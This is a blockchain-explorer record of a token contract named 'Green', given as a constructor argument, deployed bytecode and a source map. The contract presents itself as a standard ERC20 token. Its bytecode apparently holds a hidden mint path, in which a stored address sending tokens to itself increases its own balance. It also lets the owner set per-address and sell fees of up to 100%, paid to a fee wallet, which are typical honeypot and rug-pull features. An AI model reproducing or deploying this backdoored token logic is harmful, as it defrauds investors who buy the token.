000000000000000000000000000000000000000005477265656e000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806349bd5a5e116100975780639fa7e5fe116100665780639fa7e5fe14610276578063a9059cbb14610292578063c2af913b146102c2578063dd62ed3e146102cc576100f5565b806349bd5a5e146101ec57806370a082311461020a5780638da5cb5b1461023a57806395d89b4114610258576100f5565b806318160ddd116100d357806318160ddd1461016457806323b872dd14610182578063313ce567146101b2578063444a2a9c146101d0576100f5565b806306fdde03146100fa578063095ea7b3146101185780630f8c431914610148575b600080fd5b6101026102fc565b60405161010f9190611661565b60405180910390f35b610132600480360381019061012d919061171c565b61038e565b60405161013f9190611777565b60405180910390f35b610162600480360381019061015d919061171c565b6103ac565b005b61016c6104cd565b60405161017991906117a1565b60405180910390f35b61019c600480360381019061019791906117bc565b6104d7565b6040516101a99190611777565b60405180910390f35b6101ba6105b0565b6040516101c7919061182b565b60405180910390f35b6101ea60048036038101906101e59190611846565b6105c7565b005b6101f46106a0565b6040516102019190611882565b60405180910390f35b610224600480360381019061021f9190611846565b6106c6565b60405161023191906117a1565b60405180910390f35b61024261070f565b60405161024f9190611882565b60405180910390f35b610260610738565b60405161026d9190611661565b60405180910390f35b610290600480360381019061028b919061189d565b6107ca565b005b6102ac60048036038101906102a7919061171c565b6108ad565b6040516102b99190611777565b60405180910390f35b6102ca6108db565b005b6102e660048036038101906102e191906118ca565b610a30565b6040516102f391906117a1565b60405180910390f35b60606001805461030b90611939565b80601f016020809104026020016040519081016040528092919081815260200182805461033790611939565b80156103845780601f1061035957610100808354040283529160200191610384565b820191906000526020600020905b81548152906001019060200180831161036757829003601f168201915b5050505050905090565b60006103a261039b610ab7565b8484610abf565b6001905092915050565b6103b4610ab7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610441576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610438906119b6565b60405180910390fd5b6064811115610485576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161047c90611a48565b60405180910390fd5b80600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000600454905090565b60006104e4848484610c88565b6105a5846104f0610ab7565b6105a085604051806060016040528060288152602001611f6c60289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610556610ab7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112549092919063ffffffff16565b610abf565b600190509392505050565b6000600360009054906101000a900460ff16905090565b6105cf610ab7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461065c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610653906119b6565b60405180910390fd5b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606002805461074790611939565b80601f016020809104026020016040519081016040528092919081815260200182805461077390611939565b80156107c05780601f10610795576101008083540402835291602001916107c0565b820191906000526020600020905b8154815290600101906020018083116107a357829003601f168201915b5050505050905090565b6107d2610ab7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461085f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610856906119b6565b60405180910390fd5b60648111156108a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089a90611ab4565b60405180910390fd5b8060098190555050565b6000806108b8610ab7565b90506108c58185856112b8565b6108d0818585610c88565b600191505092915050565b6108e3610ab7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610970576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610967906119b6565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2590611b46565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610b9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9490611bd8565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c7b91906117a1565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610cf7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cee90611c6a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5d90611cfc565b60405180910390fd5b600080600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115610e1b57610e146064610e06600c60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548561140290919063ffffffff16565b61147c90919063ffffffff16565b9050610f50565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610e9f57610e986064610e8a6008548561140290919063ffffffff16565b61147c90919063ffffffff16565b9050610f4f565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f2357610f1c6064610f0e6009548561140290919063ffffffff16565b61147c90919063ffffffff16565b9050610f4e565b610f4b6064610f3d6009548561140290919063ffffffff16565b61147c90919063ffffffff16565b90505b5b5b610fa282600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114c690919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508082600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110319190611d4b565b61103b9190611d7f565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110f28160056000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461151090919063ffffffff16565b60056000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516111d691906117a1565b60405180910390a38273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83856112399190611d7f565b60405161124691906117a1565b60405180910390a350505050565b600083831115829061129c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112939190611661565b60405180910390fd5b50600083856112ab9190611d7f565b9050809150509392505050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156113625750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156113fd576113b981600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461151090919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b60008083036114145760009050611476565b600082846114229190611db3565b90508284826114319190611e3c565b14611471576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146890611edf565b60405180910390fd5b809150505b92915050565b60006114be83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061156e565b905092915050565b600061150883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611254565b905092915050565b600080828461151f9190611d4b565b905083811015611564576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155b90611f4b565b60405180910390fd5b8091505092915050565b600080831182906115b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ac9190611661565b60405180910390fd5b50600083856115c49190611e3c565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561160b5780820151818401526020810190506115f0565b60008484015250505050565b6000601f19601f8301169050919050565b6000611633826115d1565b61163d81856115dc565b935061164d8185602086016115ed565b61165681611617565b840191505092915050565b6000602082019050818103600083015261167b8184611628565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006116b382611688565b9050919050565b6116c3816116a8565b81146116ce57600080fd5b50565b6000813590506116e0816116ba565b92915050565b6000819050919050565b6116f9816116e6565b811461170457600080fd5b50565b600081359050611716816116f0565b92915050565b6000806040838503121561173357611732611683565b5b6000611741858286016116d1565b925050602061175285828601611707565b9150509250929050565b60008115159050919050565b6117718161175c565b82525050565b600060208201905061178c6000830184611768565b92915050565b61179b816116e6565b82525050565b60006020820190506117b66000830184611792565b92915050565b6000806000606084860312156117d5576117d4611683565b5b60006117e3868287016116d1565b93505060206117f4868287016116d1565b925050604061180586828701611707565b9150509250925092565b600060ff82169050919050565b6118258161180f565b82525050565b6000602082019050611840600083018461181c565b92915050565b60006020828403121561185c5761185b611683565b5b600061186a848285016116d1565b91505092915050565b61187c816116a8565b82525050565b60006020820190506118976000830184611873565b92915050565b6000602082840312156118b3576118b2611683565b5b60006118c184828501611707565b91505092915050565b600080604083850312156118e1576118e0611683565b5b60006118ef858286016116d1565b9250506020611900858286016116d1565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061195157607f821691505b6020821081036119645761196361190a565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006119a06020836115dc565b91506119ab8261196a565b602082019050919050565b600060208201905081810360008301526119cf81611993565b9050919050565b7f506572736f6e616c207472616e73666572206665652073686f756c64206e6f7460008201527f2065786365656420313030250000000000000000000000000000000000000000602082015250565b6000611a32602c836115dc565b9150611a3d826119d6565b604082019050919050565b60006020820190508181036000830152611a6181611a25565b9050919050565b7f53656c6c206665652073686f756c64206e6f7420657863656564203130302500600082015250565b6000611a9e601f836115dc565b9150611aa982611a68565b602082019050919050565b60006020820190508181036000830152611acd81611a91565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611b306024836115dc565b9150611b3b82611ad4565b604082019050919050565b60006020820190508181036000830152611b5f81611b23565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611bc26022836115dc565b9150611bcd82611b66565b604082019050919050565b60006020820190508181036000830152611bf181611bb5565b9050919050565b7f4945524332303a207472616e736665722066726f6d20746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611c546026836115dc565b9150611c5f82611bf8565b604082019050919050565b60006020820190508181036000830152611c8381611c47565b9050919050565b7f4945524332303a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611ce66024836115dc565b9150611cf182611c8a565b604082019050919050565b60006020820190508181036000830152611d1581611cd9565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611d56826116e6565b9150611d61836116e6565b9250828201905080821115611d7957611d78611d1c565b5b92915050565b6000611d8a826116e6565b9150611d95836116e6565b9250828203905081811115611dad57611dac611d1c565b5b92915050565b6000611dbe826116e6565b9150611dc9836116e6565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611e0257611e01611d1c565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611e47826116e6565b9150611e52836116e6565b925082611e6257611e61611e0d565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000611ec96021836115dc565b9150611ed482611e6d565b604082019050919050565b60006020820190508181036000830152611ef881611ebc565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000611f35601b836115dc565b9150611f4082611eff565b602082019050919050565b60006020820190508181036000830152611f6481611f28565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122003e3c05cec8854931b965b85bae4549243c1f27ba7cc8ad5f1abd2e268885e8564736f6c63430008100033

Deployed Bytecode Sourcemap

3590:4602:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5114:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6290:161;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4717:215;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5391:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6459:313;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5300:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4608:101;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4071:28;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5499:119;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3133:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5205;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4938:170;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5626:266;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3351:230;;;:::i;:::-;;6139:143;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5114:83;5151:13;5184:5;5177:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5114:83;:::o;6290:161::-;6365:4;6382:39;6391:12;:10;:12::i;:::-;6405:7;6414:6;6382:8;:39::i;:::-;6439:4;6432:11;;6290:161;;;;:::o;4717:215::-;3276:12;:10;:12::i;:::-;3266:22;;:6;;;;;;;;;;:22;;;3258:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;4828:3:::1;4821;:10;;4813:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;4921:3;4891:21;:27;4913:4;4891:27;;;;;;;;;;;;;;;:33;;;;4717:215:::0;;:::o;5391:100::-;5444:7;5471:12;;5464:19;;5391:100;:::o;6459:313::-;6557:4;6574:36;6584:6;6592:9;6603:6;6574:9;:36::i;:::-;6621:121;6630:6;6638:12;:10;:12::i;:::-;6652:89;6690:6;6652:89;;;;;;;;;;;;;;;;;:11;:19;6664:6;6652:19;;;;;;;;;;;;;;;:33;6672:12;:10;:12::i;:::-;6652:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;6621:8;:121::i;:::-;6760:4;6753:11;;6459:313;;;;;:::o;5300:83::-;5341:5;5366:9;;;;;;;;;;;5359:16;;5300:83;:::o;4608:101::-;3276:12;:10;:12::i;:::-;3266:22;;:6;;;;;;;;;;:22;;;3258:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;4693:8:::1;4677:13;;:24;;;;;;;;;;;;;;;;;;4608:101:::0;:::o;4071:28::-;;;;;;;;;;;;;:::o;5499:119::-;5565:7;5592:9;:18;5602:7;5592:18;;;;;;;;;;;;;;;;5585:25;;5499:119;;;:::o;3133:87::-;3179:7;3206:6;;;;;;;;;;;3199:13;;3133:87;:::o;5205:::-;5244:13;5277:7;5270:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5205:87;:::o;4938:170::-;3276:12;:10;:12::i;:::-;3266:22;;:6;;;;;;;;;;:22;;;3258:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;5029:3:::1;5015:10;:17;;5007:61;;;;;;;;;;;;:::i;:::-;;;;;;;;;5090:10;5079:8;:21;;;;4938:170:::0;:::o;5626:266::-;5712:4;5729:14;5746:12;:10;:12::i;:::-;5729:29;;5771:42;5787:6;5795:9;5806:6;5771:15;:42::i;:::-;5826:36;5836:6;5844:9;5855:6;5826:9;:36::i;:::-;5880:4;5873:11;;;5626:266;;;;:::o;3351:230::-;3276:12;:10;:12::i;:::-;3266:22;;:6;;;;;;;;;;:22;;;3258:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;3458:42:::1;3421:81;;3442:6;::::0;::::1;;;;;;;;3421:81;;;;;;;;;;;;3530:42;3513:6;::::0;:60:::1;;;;;;;;;;;;;;;;;;3351:230::o:0;6139:143::-;6220:7;6247:11;:18;6259:5;6247:18;;;;;;;;;;;;;;;:27;6266:7;6247:27;;;;;;;;;;;;;;;;6240:34;;6139:143;;;;:::o;879:115::-;932:15;975:10;960:26;;879:115;:::o;7843:346::-;7962:1;7945:19;;:5;:19;;;7937:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8043:1;8024:21;;:7;:21;;;8016:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8127:6;8097:11;:18;8109:5;8097:18;;;;;;;;;;;;;;;:27;8116:7;8097:27;;;;;;;;;;;;;;;:36;;;;8165:7;8149:32;;8158:5;8149:32;;;8174:6;8149:32;;;;;;:::i;:::-;;;;;;;;7843:346;;;:::o;6780:1055::-;6907:1;6889:20;;:6;:20;;;6881:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;6992:1;6971:23;;:9;:23;;;6963:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;7048:17;7120:1;7088:21;:29;7110:6;7088:29;;;;;;;;;;;;;;;;:33;7084:414;;;7150:51;7197:3;7150:42;7162:21;:29;7184:6;7162:29;;;;;;;;;;;;;;;;7150:7;:11;;:42;;;;:::i;:::-;:46;;:51;;;;:::i;:::-;7138:63;;7084:414;;;7233:13;;;;;;;;;;;7223:23;;:6;:23;;;7219:279;;7275:29;7300:3;7275:20;7287:7;;7275;:11;;:20;;;;:::i;:::-;:24;;:29;;;;:::i;:::-;7263:41;;7219:279;;;7339:13;;;;;;;;;;;7326:26;;:9;:26;;;7322:176;;7381:30;7407:3;7381:21;7393:8;;7381:7;:11;;:21;;;;:::i;:::-;:25;;:30;;;;:::i;:::-;7369:42;;7322:176;;;7456:30;7482:3;7456:21;7468:8;;7456:7;:11;;:21;;;;:::i;:::-;:25;;:30;;;;:::i;:::-;7444:42;;7322:176;7219:279;7084:414;7530:30;7552:7;7530:9;:17;7540:6;7530:17;;;;;;;;;;;;;;;;:21;;:30;;;;:::i;:::-;7510:9;:17;7520:6;7510:17;;;;;;;;;;;;;;;:50;;;;7624:9;7616:7;7595:9;:20;7605:9;7595:20;;;;;;;;;;;;;;;;:28;;;;:::i;:::-;:38;;;;:::i;:::-;7571:9;:20;7581:9;7571:20;;;;;;;;;;;;;;;:62;;;;7670:38;7698:9;7670;:23;7680:12;;;;;;;;;;;7670:23;;;;;;;;;;;;;;;;:27;;:38;;;;:::i;:::-;7644:9;:23;7654:12;;;;;;;;;;;7644:23;;;;;;;;;;;;;;;:64;;;;7741:12;;;;;;;;;;;7724:41;;7733:6;7724:41;;;7755:9;7724:41;;;;;;:::i;:::-;;;;;;;;7798:9;7781:46;;7790:6;7781:46;;;7817:9;7809:7;:17;;;;:::i;:::-;7781:46;;;;;;:::i;:::-;;;;;;;;6868:967;6780:1055;;;:::o;1601:226::-;1721:7;1754:1;1749;:6;;1757:12;1741:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1781:9;1797:1;1793;:5;;;;:::i;:::-;1781:17;;1818:1;1811:8;;;1601:226;;;;;:::o;5900:225::-;6009:7;;;;;;;;;;;5999:17;;:6;:17;;;:41;;;;;6033:7;;;;;;;;;;;6020:20;;:9;:20;;;5999:41;5995:123;;;6077:29;6099:6;6077:9;:17;6087:6;6077:17;;;;;;;;;;;;;;;;:21;;:29;;;;:::i;:::-;6057:9;:17;6067:6;6057:17;;;;;;;;;;;;;;;:49;;;;5995:123;5900:225;;;:::o;1835:252::-;1893:7;1924:1;1919;:6;1915:47;;1949:1;1942:8;;;;1915:47;1974:9;1990:1;1986;:5;;;;:::i;:::-;1974:17;;2019:1;2014;2010;:5;;;;:::i;:::-;:10;2002:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;2078:1;2071:8;;;1835:252;;;;;:::o;2095:132::-;2153:7;2180:39;2184:1;2187;2180:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;2173:46;;2095:132;;;;:::o;1457:136::-;1515:7;1542:43;1546:1;1549;1542:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1535:50;;1457:136;;;;:::o;1268:181::-;1326:7;1346:9;1362:1;1358;:5;;;;:::i;:::-;1346:17;;1387:1;1382;:6;;1374:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1440:1;1433:8;;;1268:181;;;;:::o;2235:227::-;2355:7;2387:1;2383;:5;2390:12;2375:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2414:9;2430:1;2426;:5;;;;:::i;:::-;2414:17;;2453:1;2446:8;;;2235:227;;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:329::-;4912:6;4961:2;4949:9;4940:7;4936:23;4932:32;4929:119;;;4967:79;;:::i;:::-;4929:119;5087:1;5112:53;5157:7;5148:6;5137:9;5133:22;5112:53;:::i;:::-;5102:63;;5058:117;4853:329;;;;:::o;5188:118::-;5275:24;5293:5;5275:24;:::i;:::-;5270:3;5263:37;5188:118;;:::o;5312:222::-;5405:4;5443:2;5432:9;5428:18;5420:26;;5456:71;5524:1;5513:9;5509:17;5500:6;5456:71;:::i;:::-;5312:222;;;;:::o;5540:329::-;5599:6;5648:2;5636:9;5627:7;5623:23;5619:32;5616:119;;;5654:79;;:::i;:::-;5616:119;5774:1;5799:53;5844:7;5835:6;5824:9;5820:22;5799:53;:::i;:::-;5789:63;;5745:117;5540:329;;;;:::o;5875:474::-;5943:6;5951;6000:2;5988:9;5979:7;5975:23;5971:32;5968:119;;;6006:79;;:::i;:::-;5968:119;6126:1;6151:53;6196:7;6187:6;6176:9;6172:22;6151:53;:::i;:::-;6141:63;;6097:117;6253:2;6279:53;6324:7;6315:6;6304:9;6300:22;6279:53;:::i;:::-;6269:63;;6224:118;5875:474;;;;;:::o;6355:180::-;6403:77;6400:1;6393:88;6500:4;6497:1;6490:15;6524:4;6521:1;6514:15;6541:320;6585:6;6622:1;6616:4;6612:12;6602:22;;6669:1;6663:4;6659:12;6690:18;6680:81;;6746:4;6738:6;6734:17;6724:27;;6680:81;6808:2;6800:6;6797:14;6777:18;6774:38;6771:84;;6827:18;;:::i;:::-;6771:84;6592:269;6541:320;;;:::o;6867:182::-;7007:34;7003:1;6995:6;6991:14;6984:58;6867:182;:::o;7055:366::-;7197:3;7218:67;7282:2;7277:3;7218:67;:::i;:::-;7211:74;;7294:93;7383:3;7294:93;:::i;:::-;7412:2;7407:3;7403:12;7396:19;;7055:366;;;:::o;7427:419::-;7593:4;7631:2;7620:9;7616:18;7608:26;;7680:9;7674:4;7670:20;7666:1;7655:9;7651:17;7644:47;7708:131;7834:4;7708:131;:::i;:::-;7700:139;;7427:419;;;:::o;7852:231::-;7992:34;7988:1;7980:6;7976:14;7969:58;8061:14;8056:2;8048:6;8044:15;8037:39;7852:231;:::o;8089:366::-;8231:3;8252:67;8316:2;8311:3;8252:67;:::i;:::-;8245:74;;8328:93;8417:3;8328:93;:::i;:::-;